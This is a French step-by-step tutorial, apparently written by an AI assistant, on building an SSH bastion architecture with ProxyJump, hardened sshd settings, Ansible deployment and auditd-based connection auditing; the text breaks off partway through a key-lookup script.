## [COURS] CONCLUSION DE L'EXERCICE 2

**[OK] Félicitations ! Tu maîtrises maintenant le tunneling SSH !**

**Ce que tu as appris :**
- Comprendre les 3 types de port forwarding
- Créer des tunnels locaux pour accéder à des services distants
- Créer des tunnels distants pour exposer des services locaux
- Utiliser SSH comme proxy SOCKS
- Automatiser les tunnels avec autossh
- Configurer des tunnels persistants
- Sécuriser et monitorer les tunnels

**Compétences acquises :**
- [OK] Port forwarding SSH (niveau intermédiaire)
- [OK] Contournement de firewalls
- [OK] Sécurisation des communications
- [OK] Administration système avancée

**Temps moyen de réalisation :** 2-3 heures

**Prochaine étape :** Exercice 3 - Gestion multi-serveurs et SSH Bastion ! [EUROPEAN_CASTLE]

---

(Veux-tu que je continue avec l'exercice 3 sur la gestion multi-serveurs et l'architecture bastion ?)

# [JAUNE] EXERCICE 3 : GESTION MULTI-SERVEURS ET SSH BASTION

## [LISTE] ÉNONCÉ

### Contexte professionnel

Tu es administrateur système dans une entreprise qui gère une infrastructure de 50+ serveurs répartis dans plusieurs zones de sécurité. Pour des raisons de sécurité, les serveurs de production ne sont PAS directement accessibles depuis Internet. Seul un **serveur bastion** (jump host) est exposé.

Ton manager te demande de mettre en place une architecture sécurisée permettant :
- L'accès aux serveurs internes via le bastion
- La gestion simplifiée de multiples serveurs
- L'automatisation des tâches d'administration
- Un audit complet des connexions

### Cahier des charges

L'infrastructure doit permettre de :
- **Accéder** aux serveurs internes UNIQUEMENT via le bastion
- **Simplifier** la connexion multi-saut (bastion -> serveur final)
- **Gérer** efficacement les clés SSH pour 50+ serveurs
- **Automatiser** les tâches d'administration
- **Auditer** toutes les connexions SSH
- **Déployer** des configurations de manière cohérente

### Architecture cible

```
┌──────────────────────────────────────────────────────────────┐
│                        INTERNET                              │
└──────────────────────────────────────────────────────────────┘
                            │
                            │ SSH (port 22)
                            [BLACK_DOWN-POINTING_TRIANGLE]
                  ┌─────────────────────┐
                  │   BASTION SERVER    │
                  │   (DMZ)             │
                  │   203.0.113.10      │
                  └─────────────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        │                   │                   │
        [BLACK_DOWN-POINTING_TRIANGLE]                   [BLACK_DOWN-POINTING_TRIANGLE]                   [BLACK_DOWN-POINTING_TRIANGLE]
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  WEB-01     │     │  DB-01      │     │  APP-01     │
│ 10.0.1.10   │     │ 10.0.2.10   │     │ 10.0.3.10   │
└─────────────┘     └─────────────┘     └─────────────┘
   Production           Production          Production
```

### Contraintes

- Bastion : Ubuntu 22.04 (IP publique)
- Serveurs internes : IPs privées (10.0.x.x)
- Pas d'accès direct aux serveurs internes
- Gestion centralisée des clés SSH
- Logs d'audit obligatoires
- Temps estimé : 3-4 heures

---

## [OBJECTIF] OBJECTIFS PÉDAGOGIQUES

À la fin de cet exercice, tu sauras :

- [OK] Comprendre l'architecture bastion (jump host)
- [OK] Configurer ProxyJump et ProxyCommand
- [OK] Gérer SSH Agent Forwarding de manière sécurisée
- [OK] Créer des configurations SSH complexes
- [OK] Automatiser les déploiements avec Ansible
- [OK] Gérer les clés SSH à grande échelle
- [OK] Mettre en place l'audit des connexions
- [OK] Implémenter le principe du moindre privilège

---

## [DOCS] PRÉREQUIS

- Exercices 1 et 2 terminés
- Compréhension des réseaux (IPs publiques/privées)
- Accès à plusieurs serveurs (VMs ou VPS)
- Connaissances Linux de niveau intermédiaire

---

## [OK] SOLUTION COMPLÈTE

### ÉTAPE 1 : Comprendre l'architecture Bastion

**Avant de configurer, comprenons pourquoi cette architecture existe.**

#### Qu'est-ce qu'un serveur Bastion ?

**Bastion** (ou **Jump Host** ou **Jump Server**) = Serveur durci qui sert de **point d'entrée unique** vers une infrastructure.

**Analogie :** Le château médiéval

```
┌─────────────────────────────────────────┐
│            Château Fort                 │
│                                         │
│  ┌─────┐  ┌─────┐  ┌─────┐            │
│  │Salle│  │Tour │  │Cour │  <- Zones   │
│  │Trône│  │     │  │     │    internes│
│  └─────┘  └─────┘  └─────┘            │
│                                         │
└─────────────────┬───────────────────────┘
                  │
              ┌───┴───┐
              │ Porte │  <- Bastion (unique entrée)
              │Fortif.│
              └───────┘
```

**Principe :** Une seule porte bien gardée plutôt que plusieurs entrées vulnérables.

---

#### Avantages de l'architecture Bastion

**1. Sécurité renforcée**

```
[X] SANS Bastion :
Internet -> Serveur Web (exposé)
Internet -> Base de données (exposé)
Internet -> Serveur App (exposé)
-> 3 points d'attaque

[OK] AVEC Bastion :
Internet -> Bastion (durci) -> Serveurs internes (non exposés)
-> 1 seul point d'attaque (durci au maximum)
```

**2. Audit centralisé**

Toutes les connexions passent par le bastion -> Logs centralisés.

**3. Contrôle d'accès**

On peut facilement bloquer/autoriser des utilisateurs sur le bastion.

**4. Conformité**

Répond aux normes de sécurité (PCI-DSS, SOC2, ISO 27001).

---

#### Terminologie

| Terme | Définition | Exemple |
|-------|------------|---------|
| **Bastion** | Serveur d'entrée unique | 203.0.113.10 |
| **Jump Host** | Synonyme de Bastion | - |
| **Target Host** | Serveur destination finale | web-01 (10.0.1.10) |
| **ProxyJump** | Sauter via un bastion | ssh -J bastion web-01 |
| **ProxyCommand** | Commande proxy personnalisée | (ancienne méthode) |
| **Agent Forwarding** | Réutiliser clés SSH locales | ForwardAgent yes |

---

### ÉTAPE 2 : Préparer l'infrastructure de test

**Pour cet exercice, nous allons simuler l'architecture avec 3 VMs :**

1. **Bastion** : 192.168.1.100 (simulant une IP publique)
2. **Web-01** : 192.168.1.110 (simulant 10.0.1.10)
3. **DB-01** : 192.168.1.111 (simulant 10.0.2.10)

**[ATTENTION] Si tu n'as qu'un seul serveur, tu peux simuler avec des utilisateurs différents.**

---

#### Installation et configuration des serveurs

**Sur CHAQUE serveur (Bastion, Web-01, DB-01) :**

```bash
# Mettre à jour le système
sudo apt update && sudo apt upgrade -y

# Installer OpenSSH Server
sudo apt install openssh-server -y

# Vérifier que SSH tourne
sudo systemctl status ssh
```

---

**Configurer les hostnames (pour identifier facilement) :**

**Sur le Bastion :**

```bash
sudo hostnamectl set-hostname bastion
```

**Sur Web-01 :**

```bash
sudo hostnamectl set-hostname web-01
```

**Sur DB-01 :**

```bash
sudo hostnamectl set-hostname db-01
```

---

**Créer un utilisateur admin sur chaque serveur :**

```bash
# Sur chaque serveur
sudo adduser sysadmin
sudo usermod -aG sudo sysadmin
```

**Mot de passe temporaire : `TempPass123!`**

**On configurera les clés SSH ensuite.**

---

#### Sur TON PC (client), configurer /etc/hosts

```bash
sudo nano /etc/hosts
```

**Ajouter :**

```
192.168.1.100    bastion
192.168.1.110    web-01
192.168.1.111    db-01
```

**Permet d'utiliser les noms au lieu des IPs.**

---

### ÉTAPE 3 : Configuration SSH basique du Bastion

**Le bastion doit être durci au maximum.**

**Sur le BASTION, éditer `/etc/ssh/sshd_config` :**

```bash
sudo nano /etc/ssh/sshd_config
```

**Configuration recommandée :**

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION BASTION SSH - ULTRA SÉCURISÉE
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# PORT ET PROTOCOLE
# ───────────────────────────────────────────────────────────────

# Port SSH (peut être changé pour réduire les scans automatisés)
# En production, utiliser un port non-standard (ex: 2222)
Port 22

# Protocole SSH version 2 UNIQUEMENT
Protocol 2

# Écouter sur toutes les interfaces
ListenAddress 0.0.0.0

# ───────────────────────────────────────────────────────────────
# AUTHENTIFICATION
# ───────────────────────────────────────────────────────────────

# DÉSACTIVER totalement l'authentification par mot de passe
PasswordAuthentication no
PermitEmptyPasswords no
ChallengeResponseAuthentication no

# Authentification par clé publique UNIQUEMENT
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys

# DÉSACTIVER le login root direct
PermitRootLogin no

# ───────────────────────────────────────────────────────────────
# RESTRICTIONS D'ACCÈS
# ───────────────────────────────────────────────────────────────

# Autoriser SEULEMENT certains utilisateurs
AllowUsers sysadmin

# Ou autoriser SEULEMENT certains groupes
# AllowGroups ssh-users admins

# Nombre maximum de tentatives d'authentification
MaxAuthTries 3

# Timeout pour l'authentification
LoginGraceTime 30

# ───────────────────────────────────────────────────────────────
# AGENT FORWARDING
# ───────────────────────────────────────────────────────────────

# Autoriser l'agent forwarding (pour sauter vers les serveurs internes)
AllowAgentForwarding yes

# Explication :
# Permet d'utiliser les clés SSH locales sans les copier sur le bastion
# Risque de sécurité si bastion compromis -> À utiliser avec prudence
# Alternative : Jump Host sans agent forwarding (ProxyJump)

# ───────────────────────────────────────────────────────────────
# PORT FORWARDING ET X11
# ───────────────────────────────────────────────────────────────

# Désactiver X11 forwarding (interface graphique)
X11Forwarding no

# Autoriser le port forwarding (pour les tunnels)
AllowTcpForwarding yes

# Restreindre les destinations autorisées
# PermitOpen 10.0.1.10:22 10.0.2.10:22

# ───────────────────────────────────────────────────────────────
# SESSION ET TIMEOUTS
# ───────────────────────────────────────────────────────────────

# Keep-alive pour éviter les timeouts
ClientAliveInterval 60
ClientAliveCountMax 3

# Timeout si pas d'activité (secondes)
# 0 = désactivé, 300 = 5 minutes
ClientAliveInterval 300

# ───────────────────────────────────────────────────────────────
# LOGGING DÉTAILLÉ
# ───────────────────────────────────────────────────────────────

# Niveau de log VERBOSE pour audit complet
LogLevel VERBOSE

# Facility syslog
SyslogFacility AUTH

# ───────────────────────────────────────────────────────────────
# BANNIÈRE D'AVERTISSEMENT LÉGAL
# ───────────────────────────────────────────────────────────────

# Afficher un avertissement avant connexion
Banner /etc/ssh/banner

# ───────────────────────────────────────────────────────────────
# SÉCURITÉ RENFORCÉE
# ───────────────────────────────────────────────────────────────

# Utiliser PAM pour l'authentification (logs supplémentaires)
UsePAM yes

# Désactiver la résolution DNS (plus rapide, moins de fuite d'info)
UseDNS no

# Interdire les environnements utilisateur personnalisés
PermitUserEnvironment no

# Strictement vérifier les modes/propriétaires des fichiers
StrictModes yes

# Désactiver les tunnels de périphériques (TUN/TAP)
PermitTunnel no

# ═══════════════════════════════════════════════════════════════
```

---

**Créer la bannière :**

```bash
sudo nano /etc/ssh/banner
```

**Contenu :**

```
┌─────────────────────────────────────────────────────────────┐
│                  [ATTENTION]  AVERTISSEMENT LÉGAL  [ATTENTION]                  │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Ceci est un système privé et sécurisé.                     │
│                                                             │
│  L'accès non autorisé est strictement INTERDIT et           │
│  fera l'objet de poursuites légales.                        │
│                                                             │
│  Toutes les connexions sont SURVEILLÉES et ENREGISTRÉES.    │
│                                                             │
│  En continuant, vous acceptez ces conditions.               │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

**Tester la configuration :**

```bash
sudo sshd -t
```

**Si OK (aucun message), redémarrer SSH :**

```bash
sudo systemctl restart ssh
```

---

### ÉTAPE 4 : Déployer les clés SSH sur les serveurs

**Objectif :** Pouvoir se connecter du PC -> Bastion et Bastion -> Serveurs internes.

#### Générer une clé SSH dédiée au bastion (sur TON PC)

```bash
ssh-keygen -t ed25519 -f ~/.ssh/id_bastion -C "bastion-access"
```

**Passphrase : À toi de choisir (recommandé).**

---

#### Copier la clé sur le Bastion

```bash
ssh-copy-id -i ~/.ssh/id_bastion.pub sysadmin@bastion
```

**Entre le mot de passe temporaire : `TempPass123!`**

---

**Tester la connexion par clé :**

```bash
ssh -i ~/.ssh/id_bastion sysadmin@bastion
```

**[BRAVO] Connexion sans mot de passe ! [BRAVO]**

---

#### Depuis le Bastion, générer une clé pour les serveurs internes

**Sur le BASTION (connecté en SSH) :**

```bash
ssh-keygen -t ed25519 -f ~/.ssh/id_internal -C "bastion-to-internal"
```

**Passphrase : Vide (pour automatisation) OU forte (plus sécurisé).**

---

#### Copier la clé vers les serveurs internes

**Depuis le BASTION :**

```bash
# Vers Web-01
ssh-copy-id -i ~/.ssh/id_internal.pub sysadmin@web-01

# Vers DB-01
ssh-copy-id -i ~/.ssh/id_internal.pub sysadmin@db-01
```

---

**Tester depuis le bastion :**

```bash
ssh -i ~/.ssh/id_internal sysadmin@web-01
```

**[OK] Connexion réussie !**

---

### ÉTAPE 5 : ProxyJump - Connexion en un saut

**ProxyJump** = Fonctionnalité SSH qui permet de sauter automatiquement via un bastion.

#### Méthode 1 : Ligne de commande

**Depuis TON PC, se connecter directement à Web-01 en passant par le bastion :**

```bash
ssh -J sysadmin@bastion sysadmin@web-01
```

**Explication :**

```
ssh -J [user@]jump_host [user@]target_host
       │                 │
       │                 └─ Serveur de destination finale
       └─────────────────── Serveur bastion (saut)
```

**Flux :**

```
TON PC -> Bastion (saut transparent) -> Web-01
```

**Tu te retrouves directement sur Web-01, comme si tu y étais connecté directement !**

---

**Avec plusieurs sauts (bastion1 -> bastion2 -> serveur) :**

```bash
ssh -J bastion1,bastion2 target
```

---

#### Méthode 2 : Configuration dans ~/.ssh/config

**Plus pratique pour un usage quotidien.**

**Sur TON PC, éditer `~/.ssh/config` :**

```bash
nano ~/.ssh/config
```

**Ajouter :**

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION SSH - ARCHITECTURE BASTION
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# SERVEUR BASTION (Jump Host)
# ───────────────────────────────────────────────────────────────

Host bastion
    HostName 192.168.1.100
    User sysadmin
    IdentityFile ~/.ssh/id_bastion
    Port 22
    
    # Options de stabilité
    ServerAliveInterval 60
    ServerAliveCountMax 3
    
    # Compression pour connexions lentes
    Compression yes
    
    # Pas d'agent forwarding par défaut (sécurité)
    ForwardAgent no

# ───────────────────────────────────────────────────────────────
# SERVEURS INTERNES (Via Bastion)
# ───────────────────────────────────────────────────────────────

# Serveur Web-01
Host web-01
    HostName 192.168.1.110
    User sysadmin
    ProxyJump bastion
    # Ou : ProxyJump sysadmin@bastion
    
    # Options spécifiques
    ServerAliveInterval 60

# Serveur DB-01
Host db-01
    HostName 192.168.1.111
    User sysadmin
    ProxyJump bastion
    ServerAliveInterval 60

# ───────────────────────────────────────────────────────────────
# PATTERN POUR TOUS LES SERVEURS INTERNES
# ───────────────────────────────────────────────────────────────

# Tous les serveurs en 10.0.x.x passent par le bastion
Host 10.0.*.*
    ProxyJump bastion
    User sysadmin
    ServerAliveInterval 60

# ───────────────────────────────────────────────────────────────
# CONFIGURATION PAR DÉFAUT
# ───────────────────────────────────────────────────────────────

Host *
    # Ajouter les clés à l'agent SSH automatiquement
    AddKeysToAgent yes
    
    # Vérification stricte des clés d'hôte
    StrictHostKeyChecking ask
    
    # Hasher les entrées known_hosts
    HashKnownHosts yes
    
    # Compression par défaut
    Compression yes
    
    # Keep-alive
    ServerAliveInterval 60
    ServerAliveCountMax 3
```

**Sauvegarde.**

---

**Tester la configuration simplifiée :**

```bash
# Au lieu de : ssh -J bastion web-01
# Maintenant simplement :
ssh web-01
```

**[BRAVO] Connexion directe à Web-01 en tapant juste "ssh web-01" ! [BRAVO]**

**Le saut par le bastion est transparent !**

---

### ÉTAPE 6 : SSH Agent Forwarding (avec précautions)

**Problème :** Avec ProxyJump, il faut une clé SSH sur le bastion pour accéder aux serveurs internes.

**Solution alternative : Agent Forwarding**

**Permet d'utiliser tes clés locales sans les copier sur le bastion.**

---

#### Comment fonctionne Agent Forwarding ?

**Schéma :**

```
┌─────────────────┐         ┌─────────────────┐         ┌─────────────────┐
│   TON PC        │         │    BASTION      │         │    WEB-01       │
│                 │         │                 │         │                 │
│  Clé Privée [CLE]  │ ══════> │  (pas de clé)   │ ══════> │                 │
│  ssh-agent      │         │  Forward Agent  │         │                 │
└─────────────────┘         └─────────────────┘         └─────────────────┘
```

**Le bastion "forward" les demandes d'authentification à ton PC.**

**Ton PC utilise SA clé privée pour authentifier sur Web-01, SANS jamais envoyer la clé au bastion.**

---

#### Activer Agent Forwarding

**Sur TON PC, démarrer ssh-agent :**

```bash
eval "$(ssh-agent -s)"
```

---

**Ajouter ta clé :**

```bash
ssh-add ~/.ssh/id_bastion
```

---

**Se connecter au bastion avec Agent Forwarding :**

```bash
ssh -A sysadmin@bastion
```

**`-A` = Enable Agent Forwarding**

---

**Depuis le bastion, se connecter à Web-01 :**

```bash
ssh sysadmin@web-01
```

**[OK] Connexion réussie SANS clé sur le bastion !**

---

#### Configurer Agent Forwarding dans ~/.ssh/config

```bash
Host bastion
    ForwardAgent yes
```

**[ATTENTION] ATTENTION : Risque de sécurité !**

**Si le bastion est compromis, un attaquant peut utiliser ton agent SSH.**

**Recommandation : N'activer que si nécessaire et sur des bastions de confiance.**

---

#### Alternative plus sécurisée : ProxyJump SANS Agent Forwarding

**Avec ProxyJump, tu n'as PAS besoin d'Agent Forwarding.**

**Dans `~/.ssh/config` :**

```bash
Host web-01
    HostName 192.168.1.110
    User sysadmin
    ProxyJump bastion
    IdentityFile ~/.ssh/id_bastion  # Même clé utilisée
```

**SSH établit 2 connexions indépendantes :**
1. TON PC -> Bastion (avec id_bastion)
2. Bastion -> Web-01 (toujours avec id_bastion, mais en passant par le bastion)

**Plus sécurisé que Agent Forwarding !**

---

### ÉTAPE 7 : Gestion multi-serveurs avancée

#### Scénario : 50 serveurs répartis en groupes

**Structure :**

```
Production :
  - web-01, web-02, web-03 (10.0.1.x)
  - app-01, app-02, app-03 (10.0.2.x)
  - db-01, db-02 (10.0.3.x)

Staging :
  - web-staging (10.1.1.10)
  - db-staging (10.1.2.10)

Development :
  - dev-server (10.2.1.10)
```

---

#### Configuration ~/.ssh/config avec patterns

```bash
# ═══════════════════════════════════════════════════════════════
# CONFIGURATION MULTI-SERVEURS
# ═══════════════════════════════════════════════════════════════

# ───────────────────────────────────────────────────────────────
# BASTIONS (Un par environnement)
# ───────────────────────────────────────────────────────────────

Host bastion-prod
    HostName 203.0.113.10
    User sysadmin
    IdentityFile ~/.ssh/id_prod_bastion

Host bastion-staging
    HostName 203.0.113.20
    User sysadmin
    IdentityFile ~/.ssh/id_staging_bastion

Host bastion-dev
    HostName 203.0.113.30
    User sysadmin
    IdentityFile ~/.ssh/id_dev_bastion

# ───────────────────────────────────────────────────────────────
# SERVEURS PRODUCTION
# ───────────────────────────────────────────────────────────────

# Pattern pour tous les serveurs web de prod
Host web-prod-*
    User sysadmin
    ProxyJump bastion-prod
    IdentityFile ~/.ssh/id_prod

Host web-prod-01
    HostName 10.0.1.11

Host web-prod-02
    HostName 10.0.1.12

Host web-prod-03
    HostName 10.0.1.13

# Pattern pour tous les serveurs app de prod
Host app-prod-*
    User sysadmin
    ProxyJump bastion-prod
    IdentityFile ~/.ssh/id_prod

Host app-prod-01
    HostName 10.0.2.11

Host app-prod-02
    HostName 10.0.2.12

# Pattern pour tous les serveurs DB de prod
Host db-prod-*
    User sysadmin
    ProxyJump bastion-prod
    IdentityFile ~/.ssh/id_prod
    # DB = Pas de forward agent (sécurité max)
    ForwardAgent no

Host db-prod-01
    HostName 10.0.3.11

Host db-prod-02
    HostName 10.0.3.12

# ───────────────────────────────────────────────────────────────
# SERVEURS STAGING
# ───────────────────────────────────────────────────────────────

Host *-staging
    User sysadmin
    ProxyJump bastion-staging
    IdentityFile ~/.ssh/id_staging

Host web-staging
    HostName 10.1.1.10

Host db-staging
    HostName 10.1.2.10

# ───────────────────────────────────────────────────────────────
# SERVEURS DEVELOPMENT
# ───────────────────────────────────────────────────────────────

Host *-dev
    User deploy
    ProxyJump bastion-dev
    IdentityFile ~/.ssh/id_dev

Host web-dev
    HostName 10.2.1.10

# ───────────────────────────────────────────────────────────────
# CONFIGURATION GLOBALE PAR ENVIRONNEMENT
# ───────────────────────────────────────────────────────────────

# Tous les serveurs de PROD
Host *-prod-*
    LogLevel VERBOSE
    # Logs détaillés pour la prod
    StrictHostKeyChecking yes
    # Sécurité stricte en prod

# Tous les serveurs de DEV
Host *-dev
    StrictHostKeyChecking no
    # Moins strict en dev (changements fréquents)
    UserKnownHostsFile /dev/null
    # Pas de sauvegarde des clés (dev dynamique)
```

---

**Utilisation :**

```bash
# Se connecter au web-01 de production
ssh web-prod-01

# Se connecter au serveur DB de staging
ssh db-staging

# Se connecter au serveur de dev
ssh web-dev
```

**Simple et cohérent ! [BRAVO]**

---

### ÉTAPE 8 : Automatisation avec Ansible

**Ansible** = Outil d'automatisation pour gérer plusieurs serveurs.

**Parfait pour déployer des configurations SSH, mettre à jour des serveurs, etc.**

---

#### Installer Ansible

**Sur TON PC :**

```bash
sudo apt update
sudo apt install ansible -y
```

---

#### Créer l'inventaire Ansible

```bash
mkdir ~/ansible-infra
cd ~/ansible-infra
nano inventory.ini
```

**Contenu :**

```ini
# ═══════════════════════════════════════════════════════════════
# INVENTAIRE ANSIBLE - INFRASTRUCTURE
# ═══════════════════════════════════════════════════════════════

[bastions]
bastion ansible_host=192.168.1.100 ansible_user=sysadmin

[webservers]
web-01 ansible_host=192.168.1.110 ansible_user=sysadmin
web-02 ansible_host=192.168.1.112 ansible_user=sysadmin

[databases]
db-01 ansible_host=192.168.1.111 ansible_user=sysadmin

[production:children]
webservers
databases

# Variables pour tous les serveurs internes
[production:vars]
ansible_ssh_common_args='-o ProxyJump=sysadmin@192.168.1.100'
```

**Explication :**

- `[bastions]` = Groupe de serveurs bastions
- `[webservers]` = Groupe de serveurs web
- `[production:children]` = Groupe parent contenant webservers + databases
- `ansible_ssh_common_args` = Options SSH communes (ProxyJump)

---

#### Tester la connexion Ansible

```bash
ansible all -i inventory.ini -m ping
```

**Résultat attendu :**

```
bastion | SUCCESS => {
    "changed": false,
    "ping": "pong"
}
web-01 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}
db-01 | SUCCESS => {
    "changed": false,
    "ping": "pong"
}
```

**[OK] Ansible peut se connecter à tous les serveurs !**

---

#### Créer un playbook pour déployer les configurations SSH

```bash
nano deploy-ssh-config.yml
```

**Contenu :**

```yaml
---
# ═══════════════════════════════════════════════════════════════
# PLAYBOOK ANSIBLE - DÉPLOIEMENT CONFIGURATION SSH
# ═══════════════════════════════════════════════════════════════

- name: Configurer SSH sur tous les serveurs
  hosts: all
  become: yes  # Exécuter avec sudo
  
  tasks:
    # ─────────────────────────────────────────────────────────────
    # 1. Durcir la configuration SSH
    # ─────────────────────────────────────────────────────────────
    
    - name: Configurer sshd_config de manière sécurisée
      lineinfile:
        path: /etc/ssh/sshd_config
        regexp: "{{ item.regexp }}"
        line: "{{ item.line }}"
        state: present
      loop:
        - { regexp: '^#?PasswordAuthentication', line: 'PasswordAuthentication no' }
        - { regexp: '^#?PermitRootLogin', line: 'PermitRootLogin no' }
        - { regexp: '^#?PubkeyAuthentication', line: 'PubkeyAuthentication yes' }
        - { regexp: '^#?MaxAuthTries', line: 'MaxAuthTries 3' }
        - { regexp: '^#?Protocol', line: 'Protocol 2' }
      notify: Redémarrer SSH
    
    # ─────────────────────────────────────────────────────────────
    # 2. Créer un groupe pour les utilisateurs SSH
    # ─────────────────────────────────────────────────────────────
    
    - name: Créer le groupe ssh-users
      group:
        name: ssh-users
        state: present
    
    # ─────────────────────────────────────────────────────────────
    # 3. Ajouter l'utilisateur sysadmin au groupe ssh-users
    # ─────────────────────────────────────────────────────────────
    
    - name: Ajouter sysadmin au groupe ssh-users
      user:
        name: sysadmin
        groups: ssh-users
        append: yes
    
    # ─────────────────────────────────────────────────────────────
    # 4. Configurer AllowGroups dans sshd_config
    # ─────────────────────────────────────────────────────────────
    
    - name: Autoriser seulement le groupe ssh-users
      lineinfile:
        path: /etc/ssh/sshd_config
        regexp: '^#?AllowGroups'
        line: 'AllowGroups ssh-users'
        state: present
      notify: Redémarrer SSH
    
    # ─────────────────────────────────────────────────────────────
    # 5. S'assurer que le service SSH est démarré
    # ─────────────────────────────────────────────────────────────
    
    - name: Démarrer et activer SSH
      systemd:
        name: ssh
        state: started
        enabled: yes
  
  # ───────────────────────────────────────────────────────────────
  # HANDLERS (exécutés si notifiés)
  # ───────────────────────────────────────────────────────────────
  
  handlers:
    - name: Redémarrer SSH
      systemd:
        name: ssh
        state: restarted
```

---

**Exécuter le playbook :**

```bash
ansible-playbook -i inventory.ini deploy-ssh-config.yml
```

**Résultat :**

```
PLAY [Configurer SSH sur tous les serveurs] ***********************************

TASK [Gathering Facts] *********************************************************
ok: [bastion]
ok: [web-01]
ok: [db-01]

TASK [Configurer sshd_config de manière sécurisée] ****************************
changed: [bastion]
changed: [web-01]
changed: [db-01]

TASK [Créer le groupe ssh-users] ***********************************************
ok: [bastion]
ok: [web-01]
ok: [db-01]

...

RUNNING HANDLER [Redémarrer SSH] ***********************************************
changed: [bastion]
changed: [web-01]
changed: [db-01]

PLAY RECAP *********************************************************************
bastion                    : ok=6    changed=2
web-01                     : ok=6    changed=2
db-01                      : ok=6    changed=2
```

**[OK] Configuration SSH déployée sur tous les serveurs automatiquement ! [BRAVO]**

---

### ÉTAPE 9 : Audit et monitoring des connexions SSH

#### Activer l'audit détaillé sur le Bastion

**Sur le BASTION, installer auditd :**

```bash
sudo apt install auditd audispd-plugins -y
```

---

**Configurer auditd pour surveiller SSH :**

```bash
sudo nano /etc/audit/rules.d/ssh.rules
```

**Contenu :**

```bash
# ═══════════════════════════════════════════════════════════════
# RÈGLES AUDIT SSH
# ═══════════════════════════════════════════════════════════════

# Surveiller toutes les authentifications SSH
-w /var/log/auth.log -p wa -k ssh_auth

# Surveiller les modifications de sshd_config
-w /etc/ssh/sshd_config -p wa -k ssh_config_changes

# Surveiller les clés autorisées
-w /home -p wa -k ssh_key_changes

# Surveiller les connexions SSH (ouvertures de sessions)
-a always,exit -F arch=b64 -S execve -F exe=/usr/sbin/sshd -k ssh_connections
```

---

**Recharger les règles auditd :**

```bash
sudo auditctl -R /etc/audit/rules.d/ssh.rules
```

---

**Vérifier les règles actives :**

```bash
sudo auditctl -l
```

---

#### Consulter les logs d'audit

```bash
# Rechercher les événements SSH
sudo ausearch -k ssh_auth

# Rechercher les modifications de config SSH
sudo ausearch -k ssh_config_changes

# Générer un rapport
sudo aureport --auth
```

---

#### Script de monitoring personnalisé

```bash
sudo nano /usr/local/bin/ssh-monitor.sh
```

**Contenu :**

```bash
#!/bin/bash

# ═══════════════════════════════════════════════════════════════
# SCRIPT DE MONITORING SSH
# ═══════════════════════════════════════════════════════════════

LOG_FILE="/var/log/auth.log"
REPORT_FILE="/var/log/ssh-report-$(date +%Y%m%d).txt"

echo "═══════════════════════════════════════════════════════════" > "$REPORT_FILE"
echo "RAPPORT SSH - $(date)" >> "$REPORT_FILE"
echo "═══════════════════════════════════════════════════════════" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# ───────────────────────────────────────────────────────────────
# Connexions réussies
# ───────────────────────────────────────────────────────────────

echo "CONNEXIONS RÉUSSIES (dernières 24h):" >> "$REPORT_FILE"
grep "Accepted publickey" "$LOG_FILE" | tail -20 >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# ───────────────────────────────────────────────────────────────
# Échecs d'authentification
# ───────────────────────────────────────────────────────────────

echo "ÉCHECS D'AUTHENTIFICATION (dernières 24h):" >> "$REPORT_FILE"
grep "Failed password" "$LOG_FILE" | tail -20 >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# ───────────────────────────────────────────────────────────────
# Statistiques par utilisateur
# ───────────────────────────────────────────────────────────────

echo "CONNEXIONS PAR UTILISATEUR:" >> "$REPORT_FILE"
grep "Accepted publickey" "$LOG_FILE" | awk '{print $9}' | sort | uniq -c | sort -rn >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# ───────────────────────────────────────────────────────────────
# IPs sources
# ───────────────────────────────────────────────────────────────

echo "CONNEXIONS PAR IP SOURCE:" >> "$REPORT_FILE"
grep "Accepted publickey" "$LOG_FILE" | awk '{print $11}' | sort | uniq -c | sort -rn >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"

# Afficher le rapport
cat "$REPORT_FILE"
```

---

**Rendre exécutable :**

```bash
sudo chmod +x /usr/local/bin/ssh-monitor.sh
```

---

**Exécuter :**

```bash
sudo /usr/local/bin/ssh-monitor.sh
```

**Résultat :**

```
═══════════════════════════════════════════════════════════
RAPPORT SSH - Mon Dec 30 14:00:00 UTC 2024
═══════════════════════════════════════════════════════════

CONNEXIONS RÉUSSIES (dernières 24h):
Dec 30 10:15:00 bastion sshd[1234]: Accepted publickey for sysadmin from 203.0.113.50 port 54321 ssh2: ED25519 SHA256:...
Dec 30 11:30:00 bastion sshd[1235]: Accepted publickey for sysadmin from 203.0.113.50 port 54322 ssh2: ED25519 SHA256:...
...

ÉCHECS D'AUTHENTIFICATION (dernières 24h):
Dec 30 09:00:00 bastion sshd[1200]: Failed password for invalid user admin from 1.2.3.4 port 12345 ssh2
...

CONNEXIONS PAR UTILISATEUR:
     15 sysadmin
      2 deploy

CONNEXIONS PAR IP SOURCE:
     12 203.0.113.50
      3 203.0.113.51
      2 203.0.113.52
```

---

**Automatiser avec cron (tous les jours à 00h00) :**

```bash
sudo crontab -e
```

**Ajouter :**

```
0 0 * * * /usr/local/bin/ssh-monitor.sh
```

---

### ÉTAPE 10 : Gestion centralisée des clés SSH (SSHFP + LDAP)

**Pour une infrastructure de grande taille, centraliser les clés SSH.**

#### Option 1 : AuthorizedKeysCommand (script personnalisé)

**Permet de récupérer les clés autorisées depuis une base centrale.**

**Sur le BASTION, créer un script :**

```bash
sudo nano /usr/local/bin/get-authorized-keys.sh
```

**Contenu :**

```bash
#!/bin/bash

# ═══════════════════════════════════════════════════════════════
# SCRIPT DE RÉCUPÉRATION DES CLÉS SSH AUTORISÉES
# ═══════════════════════════════════════════════════════════════

USER="$1"

# Base de données des clés (exemple simplifié)
# En production : API REST, LDAP, base de données, etc.

case "$USER" in
    sysadmin)
        echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbCdEfGh... admin@company.com"
        ;;
    deploy)
